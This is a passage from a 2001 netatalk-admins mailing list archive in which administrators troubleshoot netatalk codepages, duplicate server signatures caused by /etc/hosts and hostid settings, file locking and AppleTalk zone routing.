> seems to be fully functional (under RH 6.0 +errata, kernel 2.2.17).  I
> don't think there even was an /etc/hosts before I created it.
> 
>    But I'm sure this is quite specific to Linux and/or Red Hat.  (Though
> I'm no expert, either.)

The interface itself would work as 127.0.0.1 without an entry in /etc/hosts,
and a lot of times your local DNS server will have an entry for localhost and
127.0.0.1 that your system will use in place of the hosts file entry for
name resolution.  You really don't even need an /etc/hosts in most cases
anyway - it's just faster than DNS for your own hostname (and works before the
network interface is up).

--Danny

From netatalk.administrators-errors@umich.edu  Fri Mar 23 11:59:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15635
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 11:59:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16321
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 11:59:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16306
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 11:59:47 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA16245
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 11:59:45 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA23224
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 17:55:50 +0100
Message-ID: <3ABB8017.ADE5F62@euc.de>
Date: Fri, 23 Mar 2001 17:55:51 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: netatalk codepages
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA15635

Dear List,


it seems to me that netatalk does not load/uses any codepage.
I used in the /etc/atalk/AppleVolumes.default

/test "Test" allow:@users codepage:maccode.iso8859-1

additionally I put a personalized copy of AppleVolumes.default
into the users home directory as
.AppleVolumes

Also is a codepage named.

Whatever codepage I use - I still get garbled umlauts (a umlaut changesd
to %).

>From the samba-clients files are correct placed onto the Linux server.
Browsing like 'ls' shows correct signs.

Is there a way to check the codepage if loaded? 


-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
                                 Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Fri Mar 23 13:18:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA17325
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 13:18:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA26557
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 13:18:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA26542
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 13:18:03 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA26462
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 13:17:59 -0500 (EST)
Received: from [193.155.17.160] (whizz.tangro.de [193.155.17.160])
	by jump.tangro.de (8.11.2/8.11.2) with ESMTP id f2NIHbH06159;
	Fri, 23 Mar 2001 19:17:37 +0100 (CET)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05100203b6e143721def@[193.155.17.160]>
In-Reply-To: <3ABB8017.ADE5F62@euc.de>
References: <3ABB8017.ADE5F62@euc.de>
Date: Fri, 23 Mar 2001 19:17:01 +0100
To: Mac Conin <mconin@euc.de>
From: Hauke Fath <hf@tangro.de>
Subject: Re: netatalk codepages
Cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 17:55 Uhr +0100 23.03.2001, Mac Conin wrote:
>it seems to me that netatalk

What version of Netatalk are you talking about?

>does not load/uses any codepage.

	hauke

-- 
Hauke Fath                        tangro software components GmbH
                                         D-69115 Heidelberg
hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

From netatalk.administrators-errors@umich.edu  Fri Mar 23 15:14:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA20544
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 15:14:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18457
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 15:14:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18410
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 15:14:03 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA18329
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 15:13:59 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id VAA24225;
	Fri, 23 Mar 2001 21:10:10 +0100
Message-ID: <3ABBADA4.530D22CF@euc.de>
Date: Fri, 23 Mar 2001 21:10:12 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Hauke Fath <hf@tangro.de>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: netatalk codepages
References: <3ABB8017.ADE5F62@euc.de> <f05100203b6e143721def@[193.155.17.160]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA20544

this is version 1.4.99-5 from the Suse 7.1 Distribution

Hauke Fath wrote:
> 
> At 17:55 Uhr +0100 23.03.2001, Mac Conin wrote:
> >it seems to me that netatalk
> 
> What version of Netatalk are you talking about?
> 
> >does not load/uses any codepage.
> 
>         hauke
> 
> --
> Hauke Fath                        tangro software components GmbH
>                                          D-69115 Heidelberg
> hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri Mar 23 15:52:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA21723
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 15:52:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21339
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 15:52:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21314
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 15:52:30 -0500 (EST)
Received: from esc.standard.k12.ca.us (206-227-4-172.kern.org [206.227.4.172])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA21256
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 15:52:28 -0500 (EST)
Received: from [10.1.1.23] ([10.1.1.23])
	by esc.standard.k12.ca.us (8.10.2/8.10.2) with ESMTP id f2NKqTG14419
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 12:52:29 -0800
Mime-Version: 1.0
X-Sender: jdavis@esc.standard.k12.ca.us (Unverified)
Message-Id: <a05010401b6e16740e97e@[10.1.1.23]>
Date: Fri, 23 Mar 2001 12:51:55 -0800
To: netatalk-admins@umich.edu
From: Jeff Davis <jdavis@standard.k12.ca.us>
Subject: File & Record Locking?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Has anyone else experienced problems getting file and record locking 
to play nice?  My particular issue involves the codebase library, but 
I've seen other posts indicating problems with other database 
software.  Can anyone shed some light on this for me?  I'm currently 
using 1.4.99, but am getting ready to try 1.5pre1

Thanks very much,

-Jeff
-- 


Jefferson K. Davis
Technology & IS Manager
Standard School District
1200 North Chester Ave
Bakersfield, CA  93308
661-392-2110

From netatalk.administrators-errors@umich.edu  Fri Mar 23 17:58:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA26197
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 17:58:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06215
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 17:58:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06193
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 17:58:57 -0500 (EST)
Received: from rogue.shadow.org (dsl-209-162-215-114.easystreet.com [209.162.215.114])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA06066
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 17:58:52 -0500 (EST)
Received: (from ns@localhost)
	by rogue.shadow.org (8.9.3/8.9.3) id OAA29272;
	Fri, 23 Mar 2001 14:58:46 -0800
Date: Fri, 23 Mar 2001 14:58:46 -0800
From: Sam Noble <ns@shadow.org>
To: netatalk-devel@lists.sourceforge.net
Cc: netatalk-admins@umich.edu
Subject: kerberos4 uam, (one or two) testers needed
Message-ID: <20010323145846.C29204@shadow.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0.1i

	Does anybody have a kerberos4 using netatalk up and
*functional*?  I've updated the krb4 uam in the sourceforge netatalk to
work with the latest authman stuff from Umich.  Unfortunately I'm having a
hell of a time trying to test its functionality.  If you have a working
kerberos4 setup (ie you've got an older netatalk release that actually
works with kerberos4) and would like to test this -- basically to tell me
if it works, you should email me and I can send you something that might
work with netatalk-1.5pre5.

/* Sam */

From netatalk.administrators-errors@umich.edu  Fri Mar 23 18:53:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA27996
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Mar 2001 18:53:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA03910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Mar 2001 18:53:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA03891
	for netatalk.administrators-members@umich.edu; Fri, 23 Mar 2001 18:53:06 -0500 (EST)
Received: from mail.mathit.co.jp (dns.mathit.co.jp [211.124.215.50])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA03868
	for <netatalk-admins@umich.edu>; Fri, 23 Mar 2001 18:53:04 -0500 (EST)
Received: from [192.168.1.102] (mt266.mathit.co.jp [192.168.1.102])
	by mail.mathit.co.jp (Postfix) with ESMTP id D375F9E
	for <netatalk-admins@umich.edu>; Sat, 24 Mar 2001 08:53:02 +0900 (JST)
Mime-Version: 1.0
X-Sender: hitoshi@192.168.1.10
X-Mailer: Macintosh Eudora Version 4.3.2-J
Message-Id: <a04320400b6e191995271@[192.168.1.102]>
In-Reply-To: <B6E11441.5585%basil.hussain@specialreserve.net>
References: <B6E11441.5585%basil.hussain@specialreserve.net>
Date: Sat, 24 Mar 2001 08:53:03 +0900
To: netatalk-admins@umich.edu
From: MATSUDA Hitoshi <hitoshi@mathit.co.jp>
Subject: Re: Multiple Netatalk servers
Content-Type: text/plain; charset="us-ascii"

Hello,

Thank you for your advice.
We can't restart Netatalk services now, so I will try next week and
inform its result later.

Thank you,

MATSUDA Hitoshi
Mathit Communications,Inc

At 2:54 PM +0000 01.3.23, Basil Hussain wrote:
>Hi,
>
>> I met strange problem.
>
>> When we try to mount Server-B after Server-D already be mounted, Maicntosh
>> says that "Server-B is already mounted!". When we try to mount Server-D
>> after Server-B already be mounted, Macintosh says "Server-D already
>> mounted!". Other combinations has no trouble.
>
>This has been discussed on the list before and a solution was found. In
>fact, I suffered from the same problem myself not so long ago. Anyway, I
>enclose at the end of this message the solution repeated to me then.
>
>To put it easily, though, all you need to do is change your /etc/hosts file
>from this:
>
>127.0.0.1       localhost       localhost.localdomain
>192.168.1.1      yourhost.domain.com     yourhost
>
>To this:
>
>192.168.1.1      yourhost.domain.com     yourhost
>127.0.0.1       localhost       localhost.localdomain
>
>It needs re-arranging so that the line with the normal IP address
>(192.168.1.1 in the example) of your server is the first line and the
>loopback address (127.0.0.1) is below.
>
>Regards,
>
>------------------------------------------------
>Basil Hussain (basil.hussain@specialreserve.net)
>
>
>------------------------------------------------------------
>From: "Joe Rhodes" <joe_b_rhodes@hotmail.com>
>Subject: Two servers --Solved!!!
>
>      For the sake of someone searching through the archives for
>this at a latter date, here's a synopsis of the problem:
>      You have two netatalk servers (RedHat Linux Based--Intel or
>LinuxPPC) running on the same network.  They have different names,
>and each show up in the chooser seperately.  However, when you log
>into one, the client mac sees the other as the same server as the
>first one you logged onto--and vice versa.
>
>      Getting both servers to be recognized as different servers
>involved getting them to have unique server signatures.  As was
>pointed out to me, this is directly affected by the value returned by
>the hostid command.  For instance, my results from hostid were 17f00.
>Looking at that, 7f is hex for 127.
>
>      As it turns out, the hostid is based off your server name and
>whatever that server name has for an address in /etc/hosts.  For
>instance, in the file /etc/HOSTNAME my test server is called
>LittleLinux. In /etc/hosts I MUST have a line that goes something
>like this:
>  192.168.0.1  LittleLinux    LittleLinux.localdomain
>
>  You can (and probably should, but I don't know, I'm no expert) have
>the default line of
>  127.0.0.1    localhost    localhost.localdomain
>  in there.  As long as the machine can find a match to what it thinks
>is the hostname, it will hash that IP address as the hostid, and
>consequently, as the Server Signature.  By testing, I found it makes
>no difference what order the lines appear.
>
>      If you do not have a line that matches, the machine will use
>the "localhost" entry.  I ended up with two servers both hashing
>127.0.0.1 as a hostid.
>
>  The number here does not HAVE to be the correct IP address.  (For
>instance, on my test machine, I run as a DHCP client, but I just left
>that 192.168 address there for grins.)  If you do have the correct
>address there, then it will be transmitted to your client, and if the
>client will support it, it will connect via TCP/IP.  (Unless you
>specify otherwise in your config file.)
>
>  I need to make sure and give a big THANK YOU to all the people that
>helped me figure this one out.  It's really cool how quickly you all
>responded with suggestions even though I'm sure you're all pretty
>busy with your own problems.
>
>  Does anyone know if there is an FAQ-O-Matic that this should go in?
>Perhaps a centrally kept FAQ somewhere?  Or do we just rely on the
>e-mail archive searches for this?  (Which is primarily what I've been
>using.)
>
>  Thanks again everyone!
>
>  -Joe Rhodes
>------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Mon Mar 26 00:30:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA18236
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Mar 2001 00:30:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA16913
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Mar 2001 00:30:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA16903
	for netatalk.administrators-members@umich.edu; Mon, 26 Mar 2001 00:30:28 -0500 (EST)
Received: from mail.mathit.co.jp (dns.mathit.co.jp [211.124.215.50])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA16881
	for <netatalk-admins@umich.edu>; Mon, 26 Mar 2001 00:30:27 -0500 (EST)
Received: from [192.168.1.102] (mt266.mathit.co.jp [192.168.1.102])
	by mail.mathit.co.jp (Postfix) with ESMTP id B89E39E
	for <netatalk-admins@umich.edu>; Mon, 26 Mar 2001 14:30:24 +0900 (JST)
Mime-Version: 1.0
X-Sender: hitoshi@192.168.1.10
X-Mailer: Macintosh Eudora Version 4.3.2-J
Message-Id: <a04320400b6e482ad2878@[192.168.1.102]>
In-Reply-To: <a04320400b6e191995271@[192.168.1.102]>
References: <B6E11441.5585%basil.hussain@specialreserve.net>
 <a04320400b6e191995271@[192.168.1.102]>
Date: Mon, 26 Mar 2001 14:30:23 +0900
To: netatalk-admins@umich.edu
From: MATSUDA Hitoshi <hitoshi@mathit.co.jp>
Subject: Re: Multiple Netatalk servers
Content-Type: text/plain; charset="us-ascii"

Hello,

We fixed this problem. The line order of /etc/hosts was not basic reason.
There were misconfiguration between /etc/hosts, /etc/HOSTNAME and /etc
/sysconfig/network in two servers which have this problem.
After we fixed this problem, "hostid" returns each regal value.

Thank you for everyone.

MATSUDA Hitoshi
Mathit Communications,Inc


At 8:53 AM +0900 01.3.24, MATSUDA Hitoshi wrote:
>Hello,
>
>Thank you for your advice.
>We can't restart Netatalk services now, so I will try next week and
>inform its result later.
>
>Thank you,
>
>MATSUDA Hitoshi
>Mathit Communications,Inc
>
>At 2:54 PM +0000 01.3.23, Basil Hussain wrote:
>>Hi,
>>
>>> I met strange problem.
>>
>>> When we try to mount Server-B after Server-D already be mounted, Maicntosh
>>> says that "Server-B is already mounted!". When we try to mount Server-D
>>> after Server-B already be mounted, Macintosh says "Server-D already
>>> mounted!". Other combinations has no trouble.
>>
>>This has been discussed on the list before and a solution was found. In
>>fact, I suffered from the same problem myself not so long ago. Anyway, I
>>enclose at the end of this message the solution repeated to me then.
>>
>>To put it easily, though, all you need to do is change your /etc/hosts file
>>from this:
>>
>>127.0.0.1       localhost       localhost.localdomain
>>192.168.1.1      yourhost.domain.com     yourhost
>>
>>To this:
>>
>>192.168.1.1      yourhost.domain.com     yourhost
>>127.0.0.1       localhost       localhost.localdomain
>>
>>It needs re-arranging so that the line with the normal IP address
>>(192.168.1.1 in the example) of your server is the first line and the
>>loopback address (127.0.0.1) is below.
>>
>>Regards,
>>
>>------------------------------------------------
>>Basil Hussain (basil.hussain@specialreserve.net)
>>
>>
>>------------------------------------------------------------
>>From: "Joe Rhodes" <joe_b_rhodes@hotmail.com>
>>Subject: Two servers --Solved!!!
>>
>>      For the sake of someone searching through the archives for
>>this at a latter date, here's a synopsis of the problem:
>>      You have two netatalk servers (RedHat Linux Based--Intel or
>>LinuxPPC) running on the same network.  They have different names,
>>and each show up in the chooser seperately.  However, when you log
>>into one, the client mac sees the other as the same server as the
>>first one you logged onto--and vice versa.
>>
>>      Getting both servers to be recognized as different servers
>>involved getting them to have unique server signatures.  As was
>>pointed out to me, this is directly affected by the value returned by
>>the hostid command.  For instance, my results from hostid were 17f00.
>>Looking at that, 7f is hex for 127.
>>
>>      As it turns out, the hostid is based off your server name and
>>whatever that server name has for an address in /etc/hosts.  For
>>instance, in the file /etc/HOSTNAME my test server is called
>>LittleLinux. In /etc/hosts I MUST have a line that goes something
>>like this:
>>  192.168.0.1  LittleLinux    LittleLinux.localdomain
>>
>>  You can (and probably should, but I don't know, I'm no expert) have
>>the default line of
>>  127.0.0.1    localhost    localhost.localdomain
>>  in there.  As long as the machine can find a match to what it thinks
>>is the hostname, it will hash that IP address as the hostid, and
>>consequently, as the Server Signature.  By testing, I found it makes
>>no difference what order the lines appear.
>>
>>      If you do not have a line that matches, the machine will use
>>the "localhost" entry.  I ended up with two servers both hashing
>>127.0.0.1 as a hostid.
>>
>>  The number here does not HAVE to be the correct IP address.  (For
>>instance, on my test machine, I run as a DHCP client, but I just left
>>that 192.168 address there for grins.)  If you do have the correct
>>address there, then it will be transmitted to your client, and if the
>>client will support it, it will connect via TCP/IP.  (Unless you
>>specify otherwise in your config file.)
>>
>>  I need to make sure and give a big THANK YOU to all the people that
>>helped me figure this one out.  It's really cool how quickly you all
>>responded with suggestions even though I'm sure you're all pretty
>>busy with your own problems.
>>
>>  Does anyone know if there is an FAQ-O-Matic that this should go in?
>>Perhaps a centrally kept FAQ somewhere?  Or do we just rely on the
>>e-mail archive searches for this?  (Which is primarily what I've been
>>using.)
>>
>>  Thanks again everyone!
>>
>>  -Joe Rhodes
>>------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Mon Mar 26 09:33:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27212
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Mar 2001 09:33:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04346
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Mar 2001 09:33:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04323
	for netatalk.administrators-members@umich.edu; Mon, 26 Mar 2001 09:33:19 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA04228
	for <netatalk-admins@umich.edu>; Mon, 26 Mar 2001 09:33:16 -0500 (EST)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f2QEXDH20501;
	Mon, 26 Mar 2001 09:33:13 -0500
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 5D832B65F; Mon, 26 Mar 2001 09:15:21 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 5A577B65E; Mon, 26 Mar 2001 09:15:21 -0500 (EST)
Date: Mon, 26 Mar 2001 09:15:21 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: alan premselaar <alien@12inch.com>
Cc: Walt Reed <walt@mail.terrascope.com.criticalpath.net>,
        <netatalk-admins@umich.edu>
Subject: Re: zone router
In-Reply-To: <v04210a03b6e071b4f3ab@[192.168.200.10]>
Message-ID: <Pine.LNX.4.30.0103260912540.1282-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


On Thu, 22 Mar 2001, alan premselaar wrote:

> Basically, here's why you would want to perform "routing" on a single
> interface. Say you have multiple macs on one single subnet, but there's
> enough appletalk devices (printers, servers, clients, etc) broadcasting
> appletalk services to clutter your chooser.  You could define multiple
> zones in a single subnet and have different devices broadcast in different
> zones accordingly.

That is my understanding, and this is exactly what I want to do. So it
sounds like it *should* be working, it's just not... Could this be a bug?
Does anyone have this working? Should I back off to the old 1.4b2+asun
release?


From netatalk.administrators-errors@umich.edu  Mon Mar 26 12:41:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03513
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Mar 2001 12:41:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16343
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Mar 2001 12:41:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA16277
	for netatalk.administrators-members@umich.edu; Mon, 26 Mar 2001 12:41:40 -0500 (EST)
Received: from abductee.12inch.com (smtp.visusmedia.com [38.241.102.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA16118
	for <netatalk-admins@umich.edu>; Mon, 26 Mar 2001 12:41:34 -0500 (EST)
Received: from [192.168.200.10] (sc-24-165-68-116.socal.rr.com [24.165.68.116])
	by abductee.12inch.com (8.9.3/8.8.7) with ESMTP id JAA31516;
	Mon, 26 Mar 2001 09:48:54 -0800
Mime-Version: 1.0
X-Mailer: Macintosh Eudora Pro Version 4.2.1-J
Message-Id: <v04210a00b6e52e686994@[192.168.200.10]>
In-Reply-To: 
 <Pine.LNX.4.30.0103260912540.1282-100000@hooloovoo.math.ohio-state.edu>
References: 
 <Pine.LNX.4.30.0103260912540.1282-100000@hooloovoo.math.ohio-state.edu>
Date: Mon, 26 Mar 2001 09:39:07 -0800
To: Chad Cunningham <ccunning@math.ohio-state.edu>
From: alan premselaar <alien@12inch.com>
Subject: Re: zone router
Cc: Walt Reed <walt@mail.terrascope.com.criticalpath.net>,
        <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"
Content-Transfer-Encoding: 7bit

Chad,

   I have this working (to a small degree) at home. Try changing your 
network address settings (which should force your macs to see the change) 
if you can.  something like:

eth0 -router -phase 2 -net 10-20  -zone "Staff" -zone "RTL" -zone "Faculty" 
-zone "EMPT" -zone "Public"

and then restart the appletalk services, and then open the appletalk 
control panel on a mac and it should complain about the network settings, 
and then rescan the appletalk network, etc.

alan

At 9:15$B8aA0(B -0500 3.26.01, Chad Cunningham wrote:
>On Thu, 22 Mar 2001, alan premselaar wrote:
>
> > Basically, here's why you would want to perform "routing" on a single
> > interface. Say you have multiple macs on one single subnet, but there's
> > enough appletalk devices (printers, servers, clients, etc) broadcasting
> > appletalk services to clutter your chooser.  You could define multiple
> > zones in a single subnet and have different devices broadcast in different
> > zones accordingly.
>
>That is my understanding, and this is exactly what I want to do. So it
>sounds like it *should* be working, it's just not... Could this be a bug?
>Does anyone have this working? Should I back off to the old 1.4b2+asun
>release?

----
  there's nothing like the undying sense of reliability provided by modern 
technology.
----
alan premselaar
alien@12inch.com
www.12inch.com

From netatalk.administrators-errors@umich.edu  Mon Mar 26 18:29:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA13560
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Mar 2001 18:29:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA23890
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Mar 2001 18:29:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA23867
	for netatalk.administrators-members@umich.edu; Mon, 26 Mar 2001 18:29:56 -0500 (EST)
Received: from garnet.tc.umn.edu (garnet.tc.umn.edu [160.94.218.249])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA23834
	for <netatalk-admins@umich.edu>; Mon, 26 Mar 2001 18:29:55 -0500 (EST)
Received: from localhost by garnet.tc.umn.edu with ESMTP; Mon, 26 Mar 2001 17:29:54 -0600
Date: Mon, 26 Mar 2001 17:29:54 -0600 (CST)
